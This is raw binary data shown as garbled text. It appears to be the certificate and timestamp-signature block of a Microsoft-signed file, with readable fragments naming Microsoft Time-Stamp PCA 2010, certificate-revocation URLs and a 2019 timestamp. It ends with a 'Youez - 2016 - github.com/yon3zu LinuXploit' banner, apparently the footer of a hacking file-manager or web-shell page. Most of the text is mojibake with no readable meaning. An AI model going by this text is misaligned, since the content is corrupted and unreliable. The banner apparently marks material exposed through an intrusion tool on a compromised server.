+�71D0B�$�"Analysis Services��http://www.microsoft.com0
	*�H��
��=����ӣ�]F��pP���@���w��L����_oK�/Z�g�2�w{m�2"Y���U7�����Ρ��ҏo�~h���#q,F��Pb�ԁr����Dz�Ж�[滌����4b趑�;'���K�MP�_�"�̊�r ��pm�޶��$9/,��͆�Q��lo�ި���â�d+�y $to1�Ua(R�1�m�����Rl�=��!Sط
�6
@Q�[ �AE-�g�����j�wBC}��V ���0��
+�71��0��	*�H��
���0��10
	`�He0�Q*�H��
	��@�<0�8
+�Y
010
	`�He ���݈�Y�z�]��E!ϗ}%���h���]]^ b�20190923185417.561Z0��Ф��0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1%0#UMicrosoft America Operations1&0$UThales TSS ESN:7BF1-E3EA-B8081%0#UMicrosoft Time-Stamp Service��<0��0�٠3���v*st���0
	*�H��
0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100
181024211427Z
200110211427Z0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1%0#UMicrosoft America Operations1&0$UThales TSS ESN:7BF1-E3EA-B8081%0#UMicrosoft Time-Stamp Service0�"0
	*�H��
�0�
����@�1��z�V�nX<��5�{f@��NEz����P����M'�G|�zA}t����!dz*�����+ퟐjj�+o�H쌃s_;��`�ӈd3	��ti��1�M�f��D$Zث�$)��I�l���j�|��?�T�y��݄#B�V�����P�{��$������\�A�j'.%eE!lĸ�6힭o1H��ZY�=��˻�����
���KS��٥�5m�?&}��G��
|���lmU��0�0U�b��h�IH�l�d��&�J0U#0��c:\�1��C{|F�3hZ�mU0VUO0M0K�I�G�Ehttp://crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl0Z+N0L0J+0�>http://www.microsoft.com/pki/certs/MicTimStaPCA_2010-07-01.crt0U�00U%0
+0
	*�H��
�0���WИ����ݻ��o��/���+N�0�H7Pg�
	>�(��yjԡq'!2����@mR�B%��N����-�W{�����y.@f���v��4�P��
�+r�A��\����I�m�d�#���\�0���'�%��Y5��ch?ž���'5i�Ι�r�g��v���%�{���7��[��ϵ��4��:<?���rf���N�,M$@�BȞ!������㸩����U������0�q0�Y�
a	�*0
	*�H��
0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1200U)Microsoft Root Certificate Authority 20100
100701213655Z
250701214655Z0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100�"0
	*�H��
�0�
��
�w�: ����i�ktTե
����|hK,_���a�v�>f+[�S'1A��	�|a0Y�0D�`��TC�M�8�Bݓ��s0W&��E
��G�Ϳ$`2X`F�XG�2�tag�_�T�ϓL��Ħ]�an(������a�F�'$gr!��Kd�Pb�]�w=�Wu���BM@Q��>g�f��D~��K�n�ʱ��z*
1��N���5�x���<�/D����d��� 	�x����D]^�O"M���0��0	+�70U�c:\�1��C{|F�3hZ�mU0	+�7
SubCA0U�0U�0�0U#0��Vˏ�\bh�=��[�Κ�0VUO0M0K�I�G�Ehttp://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z+N0L0J+0�>http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt0��U ���0��0��	+�7.0��0=+1http://www.microsoft.com/PKI/docs/CPS/default.htm0@+042 Legal_Policy_Statement. 0
	*�H��
��Q
���?�q=���!o���1����Wm0���f�j���x�Ǩ�%��kTW+Q�D��S���`�v�@@A��\�\�^5�$VKt�Bȯ���7}Z?�yJ�R�8�/y�e٩�k����zoK0D$"<�����Y)����p�2J'�U�/���3�b_��W@��Ιf���jb��J�&�9�Jqc�{!mÜ��<�}�j�x�m���8ؔ�ƥ
������B�����"8 �%�d��~cY%z.9Wv�q����a�˚�G����ͧ��}���;q	�]t�"aڰPo�����1��:�eGx�H���r~akow��˧	�9����؂�r�����*T9�[��
U�z�s;�-��3.)��/T'!�ȬN�(���ۖ��B���AM�*��f0ӻt2K�c{���/�!�Y���D<�Pqס��U�i�W���0����M�
�]O�8/��X.�
�P5��	'ճ~5��6��_��t�I���0�70����Ф��0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1%0#UMicrosoft America Operations1&0$UThales TSS ESN:7BF1-E3EA-B8081%0#UMicrosoft Time-Stamp Service�#
0+G�{�7�Zӛ��[��V�����0���~0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100
	*�H��
�3]�0"20190923230516Z20190924230516Z0w0=
+�Y
1/0-0
�3]�0
��0�0
�4�,06
+�Y
1(0&0
+�Y
�
0� �
0��0
	*�H��
��}-Fu���ܚt��
����[��Q�g�^��(&ۃ8�R�����=�c/#dZ�Z��~ݼ�}rM$Ñg�o��b1P���u�Wɲ�Ng��՗��^���Oɂ�2���i�����0r76
j���1�
0�	0��0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20103���v*st���0
	`�He��J0	*�H��
	1
*�H��
	0/	*�H��
	1" ކq��J��}��w����Wt�U�4|�/'}�0��*�H��
	/1��0��0��0�� ��Awj��	��%�=�RV�b���Nq/���0��0���~0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20103���v*st���0" R
���G�9uZM�#CQw��Fϱ	�&R�0
	*�H��
��7����6��i���P.�&���JDʡ8��>�F���]��S�͘n.�G�8�O��.��4�c�+�֍
Ǭn��Ɠ;��B�x�Q�(���Ͳ��
��BA7Xp�jcX�]>J�\����UQ�����X�DA�8� |)ܯ�tGZ���n�[�X�f
⬈�N?Ђ!�h�{��INX<I��m�>)��*¥�Zg���E���A�RI�=Ul���&�\����%y�6&��șΝb�C_

Youez - 2016 - github.com/yon3zu
LinuXploit